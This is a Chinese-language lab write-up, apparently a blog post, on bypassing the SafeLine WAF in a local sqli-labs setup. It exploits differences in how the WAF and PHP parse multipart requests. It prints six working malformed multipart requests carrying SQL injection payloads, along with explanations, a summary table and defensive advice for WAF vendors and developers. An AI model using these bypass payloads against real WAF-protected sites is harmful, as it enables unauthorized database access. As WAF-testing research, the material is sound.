作者:xiaodan
环境:本地虚拟机靶场(sqli-labs Less-11)+ 雷池 WAF 个人版
声明:本文所有测试均在自建靶场环境中完成,严禁用于未授权目标。
一、环境搭建
1.1 整体拓扑
物理机(Burp Suite)
│
▼
虚拟机A:雷池 WAF(反向代理模式)
│
▼
虚拟机B:宝塔面板 + sqli-labs 靶场
1.2 组件版本
| 组件 | 版本/说明 |
|---|---|
| 靶场 | sqli-labs Less-11(POST 登录表单) |
| WAF | 长亭雷池 WAF 个人版 |
| Web服务 | 宝塔面板 + PHP + MySQL |
| 测试工具 | Burp Suite |
| 域名 | 本地解析,绑定 hosts |
1.3 雷池配置要点
- 雷池以反向代理模式部署在靶场前
- 防护规则开启 SQL 注入检测
- 物理机访问域名流量经过雷池转发至后端靶场
二、基准测试:裸 Payload 被拦截
未做任何绕过,直接发送标准 POST SQL 注入 Payload:
POST /Less-11/ HTTP/1.1
Host: www.danchengjie.com
Content-Type: application/x-www-form-urlencoded
uname=1' union select 1,2#&passwd=a&submit=Submit
结果: 雷池直接返回拦截页面,HTTP 状态码非 200,页面显示「访问已被拦截」。

这说明雷池对标准 application/x-www-form-urlencoded 下的 SQL 注入特征检测有效。
三、核心思路:multipart 差异化解析
3.1 原理说明
HTTP multipart/form-data 协议(RFC 2046)允许在一个请求体中传输多个字段,
每个字段由 boundary 分隔,并通过 Content-Disposition 头声明字段名。
WAF 与后端(PHP)对 multipart 的解析实现存在差异:
- WAF 需要高速处理海量请求,解析逻辑倾向于快速、宽松
- PHP 的 multipart 解析遵循自身实现规则,对某些异常结构有特定的容错行为
利用这种 解析差异(Parser Differential),可以构造 WAF 无法正确识别
但后端能正常解析的请求,从而让恶意 Payload 绕过检测。
3.2 基础结构对比
正常 multipart 请求结构:
Content-Type: multipart/form-data;boundary=a
--a
Content-Disposition: form-data; name="uname"
admin
--a--
后续所有绕过方案均基于对这个结构的”畸形化”改造。
四、绕过方案实战
方案一:双 Content-Disposition + filename 欺骗(基础版)
构造方式:
Content-Type: multipart/form-data;boundary=a
--a
Content-Disposition: form-data; name="uname";
Content-Disposition: form-data; name="uname";filename="1.txt"
Context-Type: image/png
uname=a' union select 1,(select schema_name from information_schema.schemata limit 1,1)#&passwd=a&submit=Submit
--a
Content-Disposition: form-data; name="passwd";
Dumb
--a
Content-Disposition: form-data; name="submit";
Submit
--a--
绕过逻辑:
同一 part 内出现两行 Content-Disposition:
- 第一行带
filename="1.png"→ WAF 误判为文件上传字段,跳过 SQL 注入检测 - 第二行是标准字段声明 → PHP 按后者解析,正常取值
结果: ✅ 成功绕过,页面返回数据库名。

方案二:filename 参数 Tab 字符插入
构造方式(关键行):
Content-Disposition: form-data; name="uname";filename ="1.txt"
Content-Disposition: form-data; name="uname"
在 filename 与 = 之间插入 \t(Tab,0x09)。
绕过逻辑:
WAF 在解析参数名时,遇到 filename\t= 可能无法识别为合法的filename 属性,导致整个 part 的语义解析出错,进而跳过检测。
PHP 对 Tab 字符更宽容,能正确提取 filename 并按文件字段处理第一行,
以第二行 name="uname" 作为字段名正常赋值。

结果: ✅ 成功绕过。
方案三:filename 参数空格插入
构造方式(关键行):
Content-Disposition: form-data; name="uname";filename ="1.txt"
Content-Disposition: form-data; name="uname"
与方案二类似,在 filename 与 = 之间插入普通空格(0x20)。
绕过逻辑:
部分 WAF 的参数解析器使用严格匹配,filename =(带空格)不匹配
预期的 filename=,导致整个 filename 属性被忽略,field 被误判为
普通文本字段而非文件上传字段,进而放行了包含 Payload 的内容。
PHP 的解析器对此空格具有容错性,仍能识别为文件字段。

结果: ✅ 成功绕过。
方案四:name 值内嵌 \0 空字节截断
构造方式(关键行):
Content-Disposition: form-data; name="uname\0";filename="1.txt"
Content-Disposition: form-data; name="uname"
在第一行 name 的值中,uname 后插入空字节(\0,0x00)。
绕过逻辑:
WAF 在提取字段名时,遇到 \0 可能发生截断或解析错误,
导致无法正确关联字段名与 Payload,检测逻辑失效。
PHP 底层 C 实现中字符串以 \0 结尾,提取 name 时截断为 uname,
第二行正常赋值,后端逻辑完全正常执行。

结果: ✅ 成功绕过。
方案五:Content-Disposition 头名称后插入 \0
构造方式(关键行):
Content-Disposition\0:form-data; name="uname";filename="1.txt"
Content-Disposition: form-data; name="uname"
不是在值里加 \0,而是在头部名称的末尾、冒号之前插入 \0。
绕过逻辑:
WAF 解析 HTTP 头时,Content-Disposition\0 不匹配标准头名称,
可能将整行视为非法头而忽略,导致 WAF 看不到这一行的 filename 声明,
无法识别文件上传语义,检测逻辑完全跳过这个 part。
PHP 的 multipart 解析器在处理 body 时有独立逻辑,对这个 \0
的处理方式与 WAF 不同,仍能提取到 filename 并按预期解析。

结果: ✅ 成功绕过。
方案六:混合 Content-Type(双类型声明)
构造方式(关键头):
Content-Type: application/x-www-form-urlencoded;multipart/form-data;boundary=a;
将两种 Content-Type 写在同一行,同时在 body 中使用 multipart 结构,
Payload 以 &uname= 前缀写在 part 的 body 区域内。
绕过逻辑:
WAF 遇到非标准的混合 Content-Type 时,可能优先按application/x-www-form-urlencoded 解析 body,
在 URL 编码格式中找不到完整的 SQL 注入特征(因为内容是 multipart 格式),
检测失效。PHP 实际优先识别 multipart/form-data 并找到 boundary,
按 multipart 规则正常解析出字段和值。

结果: ✅ 成功绕过。
五、绕过手法汇总
| 编号 | 方案 | 核心变异点 | 绕过原理 |
|---|---|---|---|
| 1 | 双 Content-Disposition + filename | filename=”1.png” 欺骗 | WAF 误判文件上传字段 |
| 2 | filename 参数 Tab 截断 | filename\t= | WAF 参数名解析失败 |
| 3 | filename 参数空格插入 | filename = | WAF 严格匹配失效 |
| 4 | name 值 \0 截断 | name="uname\0" | WAF 字段名提取异常 |
| 5 | 头名称后插 \0 | Content-Disposition\0: | WAF 忽略非法头名 |
| 6 | 混合 Content-Type | 双类型声明 | WAF 解析类型判断错误 |
六、总结与思考
6.1 核心结论
本次研究验证了一个核心命题:WAF 的安全性建立在其与后端解析行为一致的假设上, 一旦二者出现 Parser Differential,WAF 的检测就会失效。
multipart/form-data 协议本身定义较为宽松,RFC 2046 对很多边界情况
没有明确规定,给了不同实现各自发挥的空间,这正是此类绕过长期存在的根本原因。
6.2 防御建议
对于 WAF 厂商:
- 对 multipart 解析应与主流后端(PHP/Java/Python)的实际行为严格对齐
- 对畸形的 Content-Disposition(重复、含特殊字符)应直接拒绝而非忽略
- 对混合 Content-Type 应采取保守策略,疑似异常请求一律拦截
对于开发者:
- 后端应对上传字段做严格的类型和内容校验,不依赖 WAF 作为唯一防线
- 敏感接口建议在应用层做二次输入过滤
6.3 延伸方向
- HTTP/2 的 multipart 解析差异
- JSON 嵌套结构的解析差异绕过
- Chunked Transfer Encoding 分块传输绕过
- 参考:RFC 2046、OWASP WAF Bypass、先知社区相关议题
本文所有实验均在自建本地靶场完成,域名已做本地 hosts 解析,
不涉及任何真实线上系统。如需复现,请自行搭建合法测试环境。
“`


